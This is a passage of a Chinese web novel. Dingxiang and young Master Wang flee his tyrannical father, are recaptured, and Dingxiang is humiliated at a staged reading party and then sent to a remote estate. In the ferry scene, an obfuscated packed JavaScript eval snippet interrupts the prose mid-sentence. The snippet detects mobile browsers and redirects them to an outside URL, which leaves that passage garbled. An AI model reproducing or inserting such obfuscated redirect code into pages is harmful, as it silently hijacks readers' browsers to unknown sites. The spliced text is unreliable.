丁香看着那枚银哨,指尖发颤,说不出话。她没想到,他竟真的把那句醉话当了真。 “你不必急着答应,”王公子将银哨塞进她手里,指尖相触的瞬间,两人都像被烫到般缩回手,“想清楚。走了,或许有生路;留下,只有死局。” 说完,他转身就走,没再回头。他怕多看一眼,自己就会动摇。 丁香握着那枚冰凉的银哨,手心全是汗。哨子不大,却重得像块石头,压得她喘不过气。 走?她一个无依无靠的女子,就算逃出王府,又能去哪里?王老爷势力遍布全城,迟早会被抓回来,到时候,不仅是她,连王公子都会被连累。 不走?她能想象到王老爷今晚来的场景,那些不堪的画面让她浑身发冷。 她把银哨紧紧攥在手心,指节泛白。 三日后…… 廊下的八哥忽然叫起来,一声声“公子”,像是在催促,又像是在叹息。 丁香望着院墙外的天空,云卷云舒,自由得让人心慌。 她慢慢握紧银哨,眼里的犹豫一点点褪去,只剩下决绝。 与其在牢笼里等死,不如拼一次。 哪怕粉身碎骨。 三日后的夜里,月色果然亮得很。丁香换上一身素色男装,是王公子悄悄送来的,又把那幅肖晨画的肖像贴身藏好,最后看了眼笼里的八哥。 “我们走了。”她打开鸟笼,“你也自由了。” 八哥扑腾着翅膀飞出去,在院里盘旋两圈,叫了声“公子”,然后冲上夜空,消失在月色里。 丁香深吸一口气,攥紧银哨,悄悄往后门摸去。 后门的阴影里,停着一辆不起眼的马车。她吹了三声哨,马车上的人探出头,是王公子。 他对她招招手,眼里映着月色,亮得惊人。 丁香的心怦怦直跳,快步跑过去,被他一把拉上马车。 “坐稳了!”王公子扬鞭,马车轱辘碾过石板路,发出“哒哒”的声响,像敲在两人心上。 车厢里,丁香掀起帘子一角,看着王府的高墙越来越远,眼泪忽然掉了下来。 是害怕,是激动,更是一种恍如隔世的恍惚。 她真的逃出来了。 王公子看着她掉眼泪,不知该说什么,只是从怀里掏出块帕子递给她,声音有些不自然:“别怕,出了城就安全了。” 丁香接过帕子,擦了擦眼泪,对他笑了笑,眼里带着泪光,却亮得像星星。 马车在月色下疾驰,载着两个年轻人的勇气,也载着一个未知的将来。 他们都知道,前路必定坎坷,王老爷的怒火、全城的搜捕,都在等着他们。 可此刻,车厢里只有彼此的呼吸声,和窗外自由的风声。 足够了。 至少,他们为自己争取过。 至少,他们逃离了那个令人窒息的牢笼。 马车驶出城门时,守城的卫兵例行盘问了几句,王公子早备好了通关文书,只说是带书童去城外别院读书,卫兵看他是王家少爷,没多纠缠便放了行。 车轮碾过城外的土路,颠簸得厉害,车厢里的烛火晃了晃,险些熄灭。丁香攥着衣角,手心的汗把布料浸得发潮,直到再也看不见城墙的影子,才敢轻轻松口气。 “出了城,他一时半会儿找不到。”王公子掀帘看了眼路况,回头对她说,语气里带着点如释重负。他特意绕了条偏僻的路,马车辙印很快就会被风吹散。 丁香“嗯”了一声,从怀里摸出那幅肖像画,借着微弱的烛光展开。画上的自己眉眼带笑,身后是花船的窗棂——那是肖晨画的,也是她唯一能带走的念想。 “这是……”王公子瞥见画,愣了愣。 “一个朋友画的。”丁香轻轻抚平画纸的褶皱,语气平静,“算是留个念想。” 王公子没再多问,只是从行囊里翻出个油纸包:“还没吃东西吧?这是我备的干粮。”里面是几块烧饼和一小袋酱肉,都是耐放的吃食。 丁香确实饿了,接过烧饼小口咬着,饼渣掉在衣襟上,她慌忙去擦,倒显得有些局促。在王府这些日子,她早已习惯了细嚼慢咽,此刻倒像变回了当初在花船上自在的样子。 王公子看着她的模样,嘴角忍不住微微上扬,自己也拿起一块烧饼啃起来。他自小锦衣玉食,何曾吃过这样粗粝的东西?可此刻嚼着,竟觉得比府里的山珍海味还要香。 马车走了大半宿,天边泛起鱼肚白时,在一处破败的山神庙前停了下来。王公子勒住马:“先在这儿歇歇脚,等天黑了再走。”白日赶路太惹眼,夜里才安全。 两人扶着车辕下车,山神庙的木门早已朽坏,风一吹就吱呀作响,院里长满了齐膝的杂草,神像的半边脸都塌了,透着几分荒凉。 “委屈你了。”王公子看着她沾了尘土的裙摆,有些不好意思。他虽备了马车,却没地方可去,只能找这种荒僻的地方落脚。 “不委屈。”丁香摇摇头,走到庙檐下坐下,望着远处起伏的山峦,眼神里满是新奇。这是她第一次如此真切地看到“外面的世界”,没有高墙,没有监视,连风都是自由的。 王公子捡了些枯枝,在庙里生起堆火,火苗噼啪作响,驱散了清晨的凉意。两人围着篝火坐着,谁都没说话,却不觉得尴尬。 太阳升高时,远处忽然传来马蹄声,两人瞬间绷紧了神经。王公子把丁香往神像后拉了拉,自己握紧腰间的匕首,屏住呼吸往外看——是两个过路的货郎,吆喝着走远了。 虚惊一场,两人都松了口气,相视一笑,眼里的紧张散去不少。 “我爹现在肯定气得跳脚。”王公子靠在墙上,语气带着点恶作剧般的得意。他长这么大,还是头一次如此“叛逆”,心里竟有种隐秘的痛快。 丁香想起王老爷狰狞的脸,轻轻叹了口气:“他不会善罢甘休的。” “管他呢。”王公子摆摆手,“反正咱们已经逃出来了。等过些日子,咱们往南走,去江南,那里水路多,他想找也找不到。” 江南……丁香愣了愣,想起花船上听客人们说过的江南,烟雨朦胧,画舫凌波,比北方多了几分温柔。 “好啊。”她笑着点头,眼里的光比篝火还要亮。 白日里,两人轮流守着,一人打盹,一人望风。王公子从小读的是圣贤书,哪里做过这种“流亡”的事,没多久就靠在墙上睡着了,眉头却还微微蹙着,像在梦里也在操心。 丁香看着他熟睡的样子,忽然觉得,这个曾经对她恶语相向的少年,其实也只是个被家族束缚的孩子。她轻轻拿起自己的外衫,盖在他身上——山里的午后,风还是凉的。 傍晚时分,两人简单吃了些干粮,又赶着马车往南走。夜色渐浓,星光落在车轮扬起的尘土上,像撒了把碎银。 “你会划船吗?”丁香忽然问。 王公子愣了愣:“不会,怎么了?” “江南多水,说不定要坐船呢。”她笑了笑,“到时候我教你,我以前在花船上,跟着船夫学过一点。” “好啊。”王公子扬了扬鞭子,马车跑得更快了,“你教我划船,我教你骑马,咱们在江南租个小院,你弹琴,我读书,像寻常人家那样……” 说到一半,他忽然停住了,脸颊有些发烫。这话太亲昵,像在描摹两人的将来,可他们……算什么呢? 车厢里的气氛又变得微妙起来。丁香低下头,看着自己的指尖,心跳却悄悄快了几分。 寻常人家……那样的日子,是她以前连想都不敢想的。 马车在夜色里继续前行,前路依旧未知,王老爷的追兵或许就在身后,可车厢里的两个人,心里却都生出了一点小小的、带着暖意的期待。 或许,真的能像他说的那样。 在江南,有个小院,有琴,有书,有自由的风。 有……彼此。 马车一路向南,走得愈发偏僻。王公子怕被认出来,特意换了身粗布衣裳,脸上沾了些灰,倒少了几分富家少爷的娇气,多了些寻常少年的质朴。丁香也剪短了头发,更像个清秀的书童,一路上帮着喂马、打水,倒也渐渐习惯了这样的奔波。 这日傍晚,两人在一处河边歇脚。王公子去附近村子买了些米粮,丁香则在河边生火,打算煮点稀粥。河水清澈,映着她的影子,头发短了,眉眼却依旧清亮。 “我买了两个馒头,还有块咸菜。”王公子提着布包回来,额角带着薄汗,“村里的人说,往前再走五十里,就是渡口,能坐船去江南。” 丁香眼睛亮了亮:“真的?” “嗯,那船家是跑私船的,给钱就走,不查来路。”王公子蹲下身帮她添柴,火苗舔着锅底,很快就冒出热气,“咱们明早就能到渡口,坐上船就安全了。” 粥煮好了,两人分着吃,就着咸菜啃馒头,竟也吃得香甜。晚风拂过河面,带着水汽的凉意,吹散了一路的疲惫。 “你说,到了江南,咱们住哪里?”丁香捧着粥碗,望着远处朦胧的山影。 “我身上带了些银子,”王公子说,“先租个小院,最好带个小池塘,你不是喜欢画兰草吗?可以在院里种些。” “那你呢?” “我?”王公子笑了笑,“我可以去私塾找个先生的活,教孩子们读书,总不至于饿死。”他顿了顿,看着她,“你要是还想弹琴,咱们就买架旧琴,闲时弹弹,也算自在。” 丁香听着他描摹的日子,嘴角忍不住上扬,眼里的光像落满了星星:“那样……真好。” 长这么大,她从未想过“自在”是什么滋味。在花船是卖艺,在王府是囚徒,如今却有人跟她描绘“种兰草、弹旧琴”的日子,像一场不真实的梦。 夜里,两人轮流守夜。轮到丁香时,她靠在马车边,望着满天星斗,心里一片安宁。王公子睡得很沉,呼吸均匀,大概是真的累坏了。她看着他的睡颜,忽然想起肖晨——那个温润如玉的公子,此刻或许正和李傲雪安稳度日,早已忘了花船上的一面之缘。 也好,忘了才好。 她轻轻叹了口气,将那些过往的碎片,连同那幅肖像画一起,悄悄压在心底。往前看,才有活路。 天刚蒙蒙亮,两人就收拾好东西,赶着马车往渡口去。一路紧赶慢赶,总算在日头升高前到了河边。渡口停着几艘船,王公子找到那艘私船,跟船家低声说了几句,塞了块银子,船家打量了他们两眼,点了点头:“上来吧,半个时辰后开船。” 两人刚把马车赶到船上,忽然听见岸上有人喊:“站住!那辆马车!” 王公子和丁香同时回头,只见十几个家丁模样的人正往渡口跑来,为首的正是王家的管家! “不好,被追上了!”王公子脸色一白,一把将丁香往船舱里推,“你先进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993199|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲着,我去应付!” 管家已经带人冲上船,指着王公子怒吼:“逆子!果然是你!赶紧跟我回去,不然老爷饶不了你!” 王公子挡在船舱门口,脸色铁青:“我不回去!” “还敢犟嘴?”管家使了个眼色,家丁们立刻围上来,“把少爷和那个女人都带走!” “谁敢动她!”王公子抽出腰间的匕首,虽然手在抖,眼神却异常坚定,“我就是死,也不会跟你们回去!” 丁香在船舱里听得心头发紧,她知道王公子护不住她,这些家丁都是练过的,他一个文弱书生根本不是对手。她咬了咬牙,猛地推开舱门:“别伤他!我跟你们走!” 王公子回头,满脸震惊:“丁香!你别……” “少爷,”丁香看着他,眼里含着泪,却笑了,“谢谢你带我出来过。够了。” 她知道,自己逃不掉的。王老爷要找的是她,只要她跟他们回去,或许能放他一条生路。 管家眼睛一亮:“还是你识相!把她绑了!” 家丁们上前要抓丁香,王公子却疯了似的扑过来,用匕首挡开他们:“不准碰她!要带就带我一起!” 混乱中,不知是谁推了一把,王公子踉跄着撞在船舷上,匕首掉在河里,溅起一朵水花。家丁们趁机上前,将他死死按住。 “带走!”管家厉声喝道。 丁香被两个家丁架着,回头看了眼被按在地上的王公子,他正红着眼嘶吼:“放开她!放开她!” 她的眼泪终于掉了下来,却用力眨了眨眼,把他的样子刻在心里。 够了。 真的够了。 至少,她见过自由的样子。 至少,有人为她拼过命。 家丁们将她拖上岸,往远处的马车走去。她最后回头看了一眼,渡口的船已经扬帆,王公子被按在船上,正朝着她的方向拼命挣扎,像一只即将被关进笼子的鸟。 风里,似乎还能听见他嘶哑的喊声。 “丁香——” 她闭上眼,任由眼泪滑落。 江南的梦,碎了。 可心里那点被点燃过的光,却好像永远不会灭了。 王老爷把王公子拖回府,连骂带打了一顿,最后直接锁进了后院的柴房,派人严加看管,撂下话:“没我的允许,不许他踏出柴房半步,更不许他靠近那女人的院子!” 王公子在柴房里又踢又骂,嗓子都喊哑了,却没人敢应声。他知道,父亲这是铁了心要断了他和丁香的念想。 另一边,丁香被重新安置在城郊的别院,比王府的偏院更偏僻,守卫也加了倍,连只蚊子都飞不出去。她坐在窗边,望着院子里光秃秃的树,手里紧紧攥着那枚早已没用的银哨,指尖冰凉。 江南的梦碎了,可她不后悔。至少,她看清了王公子的真心,也尝过自由的滋味。 而王府里,王老爷坐在书房,越想越气,既气儿子的叛逆,也气丁香的不识抬举。他摩挲着茶盏,忽然眼里闪过一丝阴狠的算计,对身旁的管家招了招手:“你过来。” 管家凑上前,王老爷压低声音道:“明天办一场宴会。” “宴会?”管家愣了愣,“老爷是想……” “你以‘读书会’的名义,”王老爷嘴角勾起一抹冷笑,“把城里那些读书人都请来,尤其是……肖家的那个小子,肖晨。” 管家心里一动:“老爷是说……让肖公子也来?” “对。”王老爷点点头,“你亲自去请,就说有稀世孤本要赏,他爱书如命,定会来的。” 管家眨了眨眼,隐约猜到了几分:“那……丁香姑娘那边?” “让她打扮得素净些,”王老爷慢悠悠道,“宴会上,安排她出来弹琴。” 他顿了顿,眼神里透着残忍的笑意:“把柴房的那小子也带来,让他在屏风后看着,嘴巴给我堵上,不许他出声。我要让他好好看看,他拼死护着的女人,在我手里,不过是个供人取乐的玩意儿。” 管家心里一寒,这是要往死里磋磨少爷啊。可他不敢多言,连忙应道:“是,小的这就去安排。” 王老爷看着管家离去的背影,端起茶盏一饮而尽,眼底满是势在必得的阴狠。 逆子?想护着那女人? 他倒要看看,等这小子亲眼看着丁香在众人面前弹琴,看着她被那些读书人评头论足,还能不能硬气起来。 他就是要折断这小子的翅膀,让他知道,在王家,谁才是说了算的人。 至于那个肖晨……王老爷想起上次花船上的事,嘴角的笑意更冷了。听说那小子也对这女人上过心?正好,让他也来“欣赏”欣赏,看看自己惦记过的女人,如今成了谁的掌中之物。 一石二鸟,再好不过。 夜色渐深,王府里张灯结彩,忙着布置宴会,一派热闹景象。 柴房里,王公子还在不停地砸门,声音嘶哑:“放我出去!你们这群混蛋!我爹就是个老顽固!” 没人理他。 别院的窗边,丁香看着天边的残月,轻轻叹了口气。她知道,王老爷不会就这么放过她,可她没想到,他竟会用这种方式来羞辱她,羞辱那个为她拼命的少年。 明天的宴会,怕是一场鸿门宴。 她摸了摸藏在衣襟里的肖晨的画,指尖微微颤抖。 若是……若是在宴会上见到他,该怎么办? 是该让他认出自己,还是假装陌路? 她不知道。 她只知道,明天,注定是难熬的一天。 无论是她,还是被关在柴房里的王公子,抑或是那个即将被蒙在鼓里的肖晨。 第二天一早,肖晨正在书房练字,李傲雪端着刚沏好的茶走进来,笑着说:“少爷,林羽公子来了,在客厅等着呢。” 肖晨放下笔,擦了擦手:“他怎么来了?”这几日他一心扑在书本上,偶尔陪李傲雪说说话,日子过得平静,倒把外面的事淡忘了些。 到了客厅,林羽正拿着本闲书翻看,见他进来,连忙起身:“肖兄!” “林兄今日怎么有空过来?”肖晨请他坐下,李傲雪奉上茶便识趣地退了出去。 “这不是有好事想着你嘛。”林羽笑着凑近,“王老爷家今日办了场读书会,说是请了城里不少读书人,还拿出几本孤本赏玩,特意托人来请你,我想着你肯定感兴趣,就先来知会一声。” 肖晨愣了愣:“王家?王老爷?”他对那位王老爷没什么好感,总觉得那人满身铜臭,不像个爱书的。 “嗨,管他是谁,有孤本看就行啊。”林羽摆摆手,“听说还有上好的茶点,咱们去凑个热闹,说不定还能遇上几个志同道合的朋友。” 肖晨犹豫了一下:“不会是什么不干净的场合吧?”他想起上次在花船的事,心里还有些芥蒂。 “放心,正经读书会,”林羽拍着胸脯保证,“去的都是些读书人,王老爷就算再爱排场,也不会在这种场合乱来。再说了,有我陪着你呢。” 肖晨看着他一脸期待的样子,又想起那些“孤本”,心里终究是好奇占了上风。他这些日子闷在府里,也确实想出去透透气,便点了点头:“好,那我就随你去看看。” 林羽眼睛一亮:“这才对嘛!咱们中午过去,正好赶上赏书的时辰。” 两人又闲聊了几句,林羽便起身告辞,说要回去准备准备。 林羽走后,李傲雪走进来,见肖晨在收拾书袋,轻声问:“少爷真要去王家的读书会?” “嗯,去看看也好。”肖晨笑了笑,“听说有孤本,去长长见识。” 李傲雪没再多说,只是帮他整理好衣襟:“那我给你备些点心带着,路上饿了好吃。”她总觉得王家那场读书会,不像表面那么简单,心里隐隐有些不安,却又说不出哪里不对。 肖晨没察觉她的异样,只当她是关心自己,笑着应下:“好。” 他拿起书袋,心里想着即将见到的孤本,还有那些可能遇到的读书人,竟生出几分期待。 他完全没料到,这场看似寻常的读书会,会让他再次见到那个以为早已远去的身影。 更没料到,等待他的,不是书香墨韵,而是一场精心策划的羞辱。 中午时分,肖晨跟着林羽坐上马车,往王家而去。车轮碾过青石板路,发出规律的声响,阳光透过车窗洒进来,暖洋洋的,一切都显得平静无波。 肖晨靠在车壁上,闭目养神,嘴角带着浅浅的笑意。 他以为这只是一场普通的聚会。 却不知,命运早已在前方布下了一张网,正等着他一头撞进去。 39. 他不得不像现实妥协 王公子被家丁从柴房拖出来时,头发乱糟糟的,衣衫上还沾着尘土,眼里满是戾气。王老爷坐在正厅的太师椅上,冷冷地看着他:“待会儿给我老实点,不许出声,更不许乱动。” “我凭什么听你的?”王公子梗着脖子,“你把丁香放了!” “放了她?”王老爷冷笑一声,“等你看清楚她是什么货色,再说这话也不迟。”他冲家丁使了个眼色,“带他去暗格,看好了,要是让他坏了我的事,仔细你们的皮!” 暗格就在大厅侧墙的书架后,狭小的空间只能容下一个人,刚好能透过书架的缝隙看清大厅里的动静。王公子被推进去时,嘴里还在骂骂咧咧,直到家丁用布条堵住他的嘴,他才只能发出呜呜的声响,眼里的怒火几乎要烧出来。 他死死盯着缝隙外的大厅,心里只有一个念头:父亲到底要做什么? 没过多久,大厅里渐渐热闹起来。读书人们三三两两地聚着,有的围着桌子看孤本,有的凑在一起讨论诗文,空气中弥漫着茶点的香气,倒真像个正经的读书会。 肖晨跟着林羽走进来时,目光先扫过那些摊开的古籍,眼里果然露出几分兴致。他走到一本《南华经》的孤本前,仔细翻看,指尖轻轻拂过泛黄的纸页,低声赞叹:“果然是好东西。” 林羽在一旁笑着说:“我就说你会感兴趣吧?” 两人正说着,王老爷满面红光地走过来,拱手道:“肖公子能来,王某真是蓬荜生辉啊!” 肖晨客气地回了礼,心里却对他这副热情的样子有些不适,只淡淡道:“王老爷客气了,是晚辈叨扰了。” 王老爷没在意他的冷淡,笑着招呼:“快请坐,上好茶!” 就在这时,厅外传来一阵轻柔的脚步声。众人循声望去,只见一个素衣女子抱着琴,缓步走了进来。她低着头,长发垂在肩头,遮住了大半张脸,只露出一截线条柔和的下颌,身姿纤细,像株风中的兰草。 “这是……”有人低声议论,“王老爷还请了弹琴的?” 王老爷拍了拍手,笑道:“诸位读书辛苦,我特意请了位姑娘来弹几曲,助助兴。” 女子走到厅中央,放下琴,缓缓坐下。当她抬起头,调试琴弦时,肖晨的目光无意间扫过,整个人猛地僵住,手里的书差点掉在地上。 是她。 丁香。 他怎么也没想到,会在这里见到她。 她瘦了些,脸色也更苍白了,眼神里没了当初在花船上的灵动,只剩下一片沉寂,像蒙了尘的玉。 肖晨的心跳瞬间乱了,手指紧紧攥着书页,指节泛白。她怎么会在王家?她不是走了吗? 而暗格里,王公子透过缝隙看到丁香的那一刻,喉咙里发出“呜呜”的嘶吼,拼命挣扎着想冲出去,却被家丁死死按住。他看着她素净的装扮,看着她被迫坐在那里弹琴,眼里的怒火几乎要将布条烧穿。 父亲果然是故意的!他就是要让自己看着她被当作玩物,被这些人打量、评头论足! 王公子死死咬着牙,眼泪不受控制地涌上来,不是为自己,是为那个被迫低头的女子。 厅中央,丁香的指尖落在琴弦上,第一个音符响起时,带着难以察觉的颤抖。她的目光无意识地扫过人群,当看到肖晨那张震惊的脸时,瞳孔猛地一缩,指尖的力道重了些,琴弦发出一声刺耳的杂音。 她慌忙低下头,重新拨动琴弦,琴声渐渐流畅起来,却带着一股说不出的哀婉,像秋夜里的风声,听得人心头发涩。 肖晨站在原地,一动也动不了。他看着她低垂的眉眼,看着她弹奏时微微颤抖的肩膀,忽然明白了什么。 她不是走了,是被王老爷…… 一股说不清道不明的情绪涌上心头,有震惊,有愤怒,还有一丝连他自己都没察觉的心疼。 林羽在一旁没注意到他的异样,只听着琴声赞叹:“弹得真好,就是调子太悲了些。” 肖晨没说话,视线紧紧锁在丁香身上,再也移不开。 暗格里的王公子,透过缝隙看着这一切。他看着丁香被迫弹琴,看着肖晨震惊的神情,看着父亲那副得意的嘴脸,心里像被刀割一样疼。 他想喊,想告诉所有人这女人是被强迫的,想冲出去带她走。 可他只能眼睁睁看着,什么也做不了。 布条勒得他嘴角生疼,眼泪混合着屈辱和愤怒,从眼角滑落。 大厅里,琴声还在继续,哀婉缠绵,像一曲无声的控诉。 而这场看似风雅的读书会,早已变成了一场精心布置的酷刑。 对丁香是,对王公子是,对肖晨……亦是。 王老爷看着厅里肖晨那副失魂落魄的样子,嘴角勾起一抹冷笑,对身旁的管家使了个眼色:“去,让他们‘偶遇’一下,说几句话。”又转头对押着王公子的家丁道,“把他带到回廊那边,让他好好听听,这女人是不是真值得他拼死护着。” 管家会意,悄悄走到丁香身边,低声说了句“王老爷让你去偏厅歇歇”,又对肖晨那边努了努嘴。肖晨正心神不宁,见状便借故离了席,往偏厅走去。 刚到偏厅门口,丁香也被“引”了过来,两人在廊下撞了个正着。 “你……”肖晨看着她,千言万语堵在喉头,最后只问出一句,“你为什么会在这里?是不是他……买了你?” 丁香的身子晃了晃,脸色瞬间惨白,她慌忙低下头,声音细若蚊蝇:“公子,你不要说了。” “怎么能不说?”肖晨上前一步,语气里带着急切,“他是不是强迫你了?你告诉我,我……” “没用的。”丁香猛地抬起头,眼里含着泪,却异常坚定,“你我都无法改变。他是王老爷,权势滔天,我不过是他买回来的物件,想怎么处置就怎么处置。” “我可以去求情!”肖晨脱口而出,“我去跟他说,让他放了你!” 丁香看着他一脸认真的样子,忽然笑了,笑得带着几分苦涩:“求情?公子觉得,他会听你的吗?你可知,我若是走了,你会被他记恨,肖家说不定都会被连累。我已经够苦了,不想再拉着别人一起下水。” “我不怕连累!”肖晨的声音有些发颤,“当初在花船……” “那都是过去的事了。”丁香打断他,眼底的光一点点暗下去,“公子有少夫人相伴,日子过得安稳,何必再来蹚这浑水?就当……就当从来没见过我吧。” 她说着,往后退了一步,对着他福了福身:“公子保重,我先回去了。” 转身时,眼泪终于忍不住掉了下来,砸在青石板上,晕开一小片湿痕。 肖晨看着她决绝的背影,伸出手想拉住她,却又僵在半空。 他说得轻巧,可他真的能对抗王老爷吗?真的能不顾肖家的安危吗? 丁香说得对,他什么也做不了。 廊下的风带着凉意,吹得他心头发冷。 而不远处的回廊拐角,王老爷让人把王公子带在那里,特意没堵他的嘴。 王公子听着两人的对话,尤其是听到丁香那句“不想连累你”时,浑身都在发抖。 她到了这个地步,还在替别人着想! 他猛地转头,死死盯着不远处的王老爷,眼神里的恨意几乎要化为实质:“你听到了吗?这就是你说的‘不值得护着’的女人!她比你,比这府里所有的人都干净!” 王老爷看着他激动的样子,不仅没生气,反而笑了:“怎么?这就心疼了?你听听她的话,她自己都认了是我买回来的物件,你还护着她做什么?” “她是被逼的!”王公子怒吼,“你这个老东西,你根本不懂什么叫尊严!” “尊严?”王老爷嗤笑一声,“在我这里,银子就是尊严!她要是真有骨气,当初就不该被我买回来!” “你!”王公子气得浑身发抖,却一句话也说不出来。 他看着丁香消失的方向,又看了看肖晨那副无力的样子,忽然明白了父亲的用意。 父亲就是要让他看清,没人能救她,没人能对抗王家的权势,连肖晨这样的世家公子都不行。 他想护着她,可他什么也做不了。 这种无力感,比被关在柴房里更让他绝望。 王公子踉跄着后退一步,靠在廊柱上,眼里的光一点点熄灭。 或许,丁香说得对。 有些事,从一开始就注定了结局。 他和她,都逃不掉。 肖晨在廊下站了许久,心头那股不甘像野草般疯长。他知道自己人微言轻,可一想到丁香那双绝望的眼睛,就无论如何也迈不开离开的脚步。 他深吸一口气,转身往正厅走,打定主意要找王老爷谈谈。 王老爷正陪着几位读书人谈笑风生,见肖晨过来,眼里闪过一丝了然的笑意,故意提高了声音:“肖公子怎么过来了?是不是那孤本还没看够?” 肖晨没心思应酬,直接开门见山:“王老爷,晚辈有一事相求。” “哦?肖公子请讲。”王老爷端起茶杯,慢悠悠地抿了一口,等着他的下文。 周围的人也安静下来,好奇地看着他们。 肖晨迎着众人的目光,硬着头皮道:“请您放了丁香姑娘。” 话音刚落,厅里一片寂静。 王老爷放下茶杯,脸上的笑淡了下去,似笑非笑地看着他:“肖公子说什么?放了谁?” “丁香姑娘。”肖晨迎着他的目光,语气坚定,“她本就不属于这里,您强行将她留下,未免有失妥当。” “有失妥当?”王老爷像是听到了什么笑话,哈哈大笑起来,“肖公子怕是忘了,这女人是我花银子买回来的,是我的人,我想留就留,想放就放,轮得到外人来指手画脚?” “买卖人口本就不合规矩!”肖晨据理力争,“她是个活生生的人,不是物件!” “在我眼里,她就是物件。”王老爷的脸色沉了下来,带着几分威胁,“肖公子年纪轻轻,还是管好自己的事为好,别为了不相干的人,惹得大家不快。” 肖晨还想再说,却被王老爷打断:“再说了,肖公子这么关心她,莫非是对她有意思?”他凑近一步,压低声音,语气暧昧,“不瞒你说,这女人性子烈得很,到现在都不让我碰,还是个清白身子呢。” 这话像一记耳光,狠狠扇在肖晨脸上,也扇在厅里所有人的心上。几个年长的读书人皱起眉,显然对这种露骨的话很不齿。 肖晨的脸瞬间涨得通红,又气又怒,指着王老爷:“你……你简直无耻!” “无耻?”王老爷冷笑,“我不过是实话实说。肖公子要是真喜欢,也不是不能商量,只要你开口求我,说不定我高兴了,还能割爱……” “你住口!”肖晨再也忍不住,转身就往外走。他算是看明白了,跟这种人根本没道理可讲,多说一句都是侮辱。 王老爷看着他愤然离去的背影,嘴角勾起一抹得意的笑。 目的达到了。 既羞辱了肖晨,又让他彻底断了念想,还能让暗格里的儿子看看——这就是他寄予希望的“帮手”,不过是个一戳就破的纸老虎。 而回廊拐角,王公子听着父亲那些无耻的话,指甲深深掐进掌心,血珠渗了出来都没察觉。 他看着肖晨愤然离去的背影,又想起丁香刚才含泪的眼神,心里只剩下无尽的悲凉。 原来,在绝对的权势面前,所谓的道理、尊严,都如此可笑。 他和她,终究是逃不掉了。 王公子缓缓闭上眼睛,一行清泪顺着脸颊滑落。 大厅里的笑声、议论声,像无数根针,扎得他心口生疼。 这场精心策划的读书会,最终以一场难堪的闹剧收场。 肖晨几乎是踉跄着冲出王家大门,胸口像是堵着一团火,烧得他喘不过气。王老爷那副嘴脸、那些污秽的话,还有丁香转身时含泪的眼,在他脑海里反复盘旋,搅得他心乱如麻。 “肖兄,怎么了这是?”林羽追出来,见他脸色铁青,连忙问道,“里面出什么事了?” 肖晨猛地停下脚步,攥紧拳头,指节泛白:“那不是什么读书会,是个陷阱!王老爷就是个无耻之徒!” 林羽被他吼得一愣,随即反应过来:“他对你做什么了?” 肖晨张了张嘴,却把那些话咽了回去。说出来,既是对丁香的亵渎,也是对自己的羞辱。他摇摇头,声音沙哑:“没什么,我们走。” 回去的路上,马车里一片死寂。肖晨靠在车壁上,闭着眼,脑海里反复出现丁香抱着琴的样子。她素衣单薄,像株风雨里的兰草,明明在发抖,却还要挺直脊背。 他想起自己刚才的无能——除了愤怒地离开,什么也做不了。他承诺要为她求情,却连一句完整的话都没能说出口。 “对不起……”他对着空气,低声说了一句,声音轻得几乎听不见。 而王家大宅里,闹剧散场后,王老爷看着满地狼藉,心情却异常舒畅。他瞥了眼廊下失魂落魄的儿子,冷哼一声:“现在看清了?谁也救不了她,你也一样。” 王公子没说话,只是死死咬着牙,转身往柴房走。他的背影比来时更佝偻,却透着一股说不出的执拗。 王老爷看着他的背影,眼里闪过一丝诧异,随即被不屑取代:“还犟?我看你能犟到几时。” 管家凑上来:“老爷,那丁香姑娘……” “看好她,”王老爷沉声道,“别让她寻死觅活,也别让她再跟这逆子有任何牵扯。”他顿了顿,眼里闪过一丝阴狠,“等过些日子,找个机会,把她送到庄子上去,眼不见为净。” 管家心里一凛,知道“送到庄子上”是什么意思——那地方偏僻荒凉,多半是有去无回。他连忙应道:“是,小的明白。” 几日后,丁香正在别院的窗前描兰草,忽然进来两个粗使婆子,不由分说就架起她往外走。 “你们干什么?放开我!”丁香挣扎着,手里的画笔掉在地上,墨汁溅了一地。 “姑娘别挣扎了,”一个婆子面无表情地说,“老爷吩咐了,送您去庄子上静养。” 丁香的心猛地一沉,她知道,这一去,怕是再无翻身之日。她挣扎着回头,望着王府的方向,眼里满是绝望。 王公子被关在柴房里,直到三日后才被放出来。他第一时间就往别院跑,却只看到空荡荡的院子,桌上还放着那幅没画完的兰草图,墨汁早已干涸。 “人呢?丁香呢?”他抓住一个洒扫的丫鬟,厉声问道。 丫鬟被他吓了一跳,哆哆嗦嗦道:“丁……丁香姑娘被送去庄子上了,三日前就走了……” 王公子如遭雷击,踉跄着后退几步,撞在廊柱上。 庄子上。 他知道那个地方,荒无人烟,只有几个看管的家丁,多少不听话的下人被送过去,再也没回来过。 “父亲……”他低声念着,眼里的光彻底熄灭了,只剩下一片死寂。 他终究还是没能护住她。 这场以爱为名的挣扎,最终还是败给了权势和命运。 王公子缓缓蹲下身,捡起地上那支沾着干涸墨汁的画笔,紧紧攥在手心。 笔杆硌得掌心生疼,却远不及心口的万分之一。 他不知道丁香在庄子上会遭遇什么,不知道她是否还活着。 他只知道,自己的人生里,从此少了一株风中的兰草,多了一道永远淌血的伤疤。 而肖晨,自那日后,再也没踏出过肖府半步。他把自己埋在书本里,可每当夜深人静,总能听见那哀婉的琴声,看见那双含泪的眼。 他终究是欠了她的。 欠她一句道歉,欠她一个没能兑现的承诺。 江南的烟雨,终究没能等来那两个向往自由的人。 王家的高墙依旧矗立,只是从此,偏院和柴房里,都只剩下无尽的空寂。 有些错过,就是一生。 有些遗憾,注定无解。 王老爷坐在太师椅上,指尖敲着桌面,发出沉闷的声响。家丁把王公子推进来时,他刚从柴房出来,眼窝深陷,下巴上冒出些胡茬,整个人透着股颓败的倔强。 “坐。”王老爷抬了抬下巴,语气听不出喜怒。 王公子没动,梗着脖子站在原地,像头不肯低头的困兽。 王老爷也不逼他,慢悠悠地倒了杯茶:“我问你,那日在回廊,你都听见了?” 王公子攥紧拳头,没应声。 